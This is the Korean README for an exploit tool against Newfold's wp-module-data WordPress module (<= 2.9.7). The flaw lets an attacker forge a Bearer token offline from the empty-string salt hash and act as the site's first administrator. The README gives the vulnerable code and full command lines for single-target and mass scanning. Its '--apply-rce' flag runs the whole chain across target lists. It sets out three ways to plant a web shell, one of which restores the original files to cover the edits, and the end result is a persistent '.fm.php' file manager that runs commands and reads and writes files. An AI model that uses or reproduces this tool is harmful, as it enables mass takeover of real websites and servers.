Newfold 플러그인 (wp-module-data <= 2.9.7) 인증되지 않은
wp-module-data를 번들로 포함하는 Newfold WordPress 플러그인을 대상으로 하는 비인증 인증 우회 및 RCE 익스플로잇.
이 도구는 Newfold wp-module-data 모듈의 Bearer 토큰 검증 결함을 악용한다. 영향을 받는 Newfold 플러그인을 사용하는 WordPress 사이트가 Hiive에 연결되어 있지 않을 때, HiiveConnection::get_auth_token()은 false를 반환한다. 이 값은 strrev()를 거친 후 해시되면서 비밀 salt가 공개 상수로 축소된다:
sha256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
해시된 페이로드의 다른 모든 구성 요소(HTTP 메서드, 요청 URL, 요청 본문, 타임스탬프)는 완전히 공격자의 통제 하에 있기 때문에, 유효한 Bearer 토큰을 오프라인에서 계산할 수 있다. 취약한 필터는 rest_authentication_errors에서 실행되므로, 위조된 토큰은 호출자를 코어 라우트를 포함한 전체 WordPress REST API에 대해 첫 번째 관리자로 인증한다. 그런 다음 이 접근 권한을 이용해 완전한 원격 코드 실행으로 이어진다.
| 플러그인 / 모듈 | 영향을 받는 버전 | 패치됨 |
|---|---|---|
| wp-module-data | <= 2.9.7 | 2.9.8 |
| bluehost-wordpress-plugin | <= 4.19.0 | n/a |
| hostgator | <= 3.2.0 | n/a |
| web | <= 2.3.5 | n/a |
| crazy-domains | <= 2.5.2 | n/a |
탐지는 WordPress.org 플러그인 슬러그 wp-plugin-web과 crazy_blog도 포함한다.
vendor/newfold-labs/wp-module-data/includes/Data.php에서:
public function authenticate( $errors ) { // hooked on rest_authentication_errors
...
$data = array(
'method' => $_SERVER['REQUEST_METHOD'],
'url' => Url::getCurrentUrl(),
'body' => file_get_contents( 'php://input' ),
'timestamp' => dataGet( getallheaders(), 'X-Timestamp' ),
);
$hash = hash( 'sha256', wp_json_encode( $data ) );
$salt = hash( 'sha256', strrev( HiiveConnection::get_auth_token() ) );
$is_valid = hash( 'sha256', $hash . $salt ) === $token;
if ( $is_valid ) {
... wp_set_current_user( <first administrator> ); return true;
}
}
연결되지 않은 사이트에서 strrev(false)는 strrev('')로 강제 변환되어 ''를 생성하고, salt는 빈 문자열의 잘 알려진 해시가 된다. 해시 체인에 대한 다른 모든 입력은 공격자가 통제하므로 토큰은 완전히 예측 가능하다.
newfold-data/v1/verify/<hex> REST 라우트를 통한 모듈 존재 탐지GET /wp/v2/users/me를 호출하고 역할을 검사하여 우회 검증404.php / index.php에 대한 테마 편집기 쓰기.fm.php 파일 관리자wp-login.php에 대한 ModSecurity 차단 우회) 및 클래식 wp-login.php 폼 로그인requestsurllib3 (선택 사항, TLS 경고 억제용)의존성 설치:
pip install requests urllib3
읽기 전용 탐지 및 우회 검증:
python3 exploit.py -u https://target.example
영구 셸까지의 전체 체인:
python3 exploit.py -u https://target.example --mode rce
새 관리자를 생성하는 대신 첫 번째 관리자의 비밀번호 재설정:
python3 exploit.py -u https://target.example --mode rce --takeover
대상 목록에 대한 확인 전용:
python3 exploit.py --list targets.txt
모든 취약 호스트에 대한 전체 체인 (명시적 옵트인 필요):
python3 exploit.py --list targets.txt --mode rce --apply-rce
REST API를 건드리기 전에 정적 자산 프로브를 사용한 사전 필터링:
python3 exploit.py --list targets.txt --brand-filter
처음 N개의 취약 호스트 이후 중지:
python3 exploit.py --list targets.txt --stop-after 5
이전 실행 재개:
python3 exploit.py --list targets.txt --resume
| 플래그 | 설명 |
|---|---|
-u, --url | 단일 대상 기본 URL |
--list | 한 줄에 하나의 대상 URL이 포함된 파일 |
--mode | check (탐지만) 또는 rce (전체 체인); 기본값 check |
--takeover | 새 관리자를 생성하는 대신 첫 번째 관리자 비밀번호 재설정 |
--output | 대량 모드의 JSONL 출력 경로; 기본값 cve_2026_80099_results.jsonl |
--vuln-list | 취약 호스트의 순수 URL 목록; 기본값 vuln.txt |
--threads | 대량 모드의 워커 수; 기본값 20 |
--timeout | 요청 타임아웃(초); 기본값 15 |
--fast-timeout | 빠른 프로브 타임아웃(초); 기본값 6 |
--retries | 요청당 재시도 횟수; 기본값 1 |
--proxy | HTTP(S) 프록시 URL |
--all-out | 취약한 항목만이 아니라 모든 대량 행 기록 |
--apply-rce | 대량 모드에서 취약 호스트에 RCE 체인 실행 |
--brand-filter | Newfold 플러그인 정적 자산을 사용한 사전 필터링 |
--stop-after | N개의 취약 호스트 이후 대량 스캔 중지; 0은 모두 실행을 의미 |
--quiet | 대상별 진행 상황 줄 비활성화 |
--resume | 출력에 추가하고 이미 존재하는 대상 건너뛰기 |
관리자 컨텍스트가 확인되면, 도구는 순서대로 세 가지 기법을 시도한다:
테마 편집기 셸 — 활성 테마의 404.php 또는 index.php에 작은 PHP 페이로드를 작성한다. 페이로드는 존재하지 않는 URL(404.php의 경우) 또는 사이트 루트(index.php의 경우)를 요청하여 트리거된다.
플러그인 업로드 셸 — 최소한의 플러그인을 포함하는 ZIP을 빌드하고, wp-admin/update.php?action=upload-plugin을 통해 업로드한 후 플러그인 PHP 파일에 직접 접근한다.
비활성 플러그인 편집기 체인 — REST API를 통해 플러그인을 나열하고, 비활성 플러그인을 선택하고, plugin-editor.php를 통해 메인 파일에 cmd-shell을 작성하고, PUT /wp/v2/plugins/<slug>를 통해 활성화하고, 모든 프론트엔드 URL에서 셸을 트리거하고, 웹루트에 .fm.php를 드롭한 후, 플러그인을 비활성화하고 원본 파일을 복원한다. 이 경로는 테마 편집기를 차단하거나, wp-content에 대한 직접 접근을 차단하거나, 루프백 상태 확인을 통해 편집 내용을 되돌리는 호스트에서도 살아남도록 설계되었다.
성공하면 영구 .fm.php 파일 관리자가 웹루트에 드롭된다. 이는 다음을 지원한다:
?cmd=<shell command>?cat=<path> 파일 읽기?put=<path>&data=<base64> 파일 쓰기?ls=<path> 디렉터리 나열cve_2026_80099_results.jsonl — 스캔된 각 대상에 대한 JSONL 레코드. 취약한 항목에는 vuln: true, admin, admin_id가 포함되며, RCE가 성공하면 shell (드롭된 파일 관리자 또는 셸의 URL)도 포함된다.vuln.txt — 취약하거나 셸이 확보된 모든 대상에 대해 한 줄에 하나의 순수 URL.trust_env = False를 통해 시스템 및 환경 프록시를 무시한다.Url::getCurrentUrl() 동작과 일치한다. 요청이 먼저 준비되고 토큰은 준비된 URL에서 파생된다.\uXXXX 비-ASCII 이스케이프, 아스트랄 문자에 대한 UTF-16 서로게이트 쌍을 포함하여 json_encode 기본 동작을 복제하므로, 해시된 페이로드가 바이트 단위로 일치한다.401을 반환하는 실패한 프로브는 일반적으로 대상이 패치되었거나(모듈 >= 2.9.8), 사이트가 Hiive에 연결되어 있거나(실제 토큰, 알 수 없는 salt), 중간자가 Authorization 헤더를 제거했음을 의미한다. 403은 일반적으로 다른 rest_authentication_errors 필터가 간섭했음을 나타낸다.이 도구는 승인된 보안 테스트 및 연구용으로만 제공된다. 소유하고 있거나 테스트에 대한 명시적 서면 허가를 받은 시스템에만 사용하라. 컴퓨터 시스템에 대한 무단 접근은 대부분의 관할권에서 불법이며 심각한 민사 및 형사 처벌을 초래할 수 있다. 저자는 이 소프트웨어의 오용이나 손해에 대해 어떠한 책임도 지지 않는다.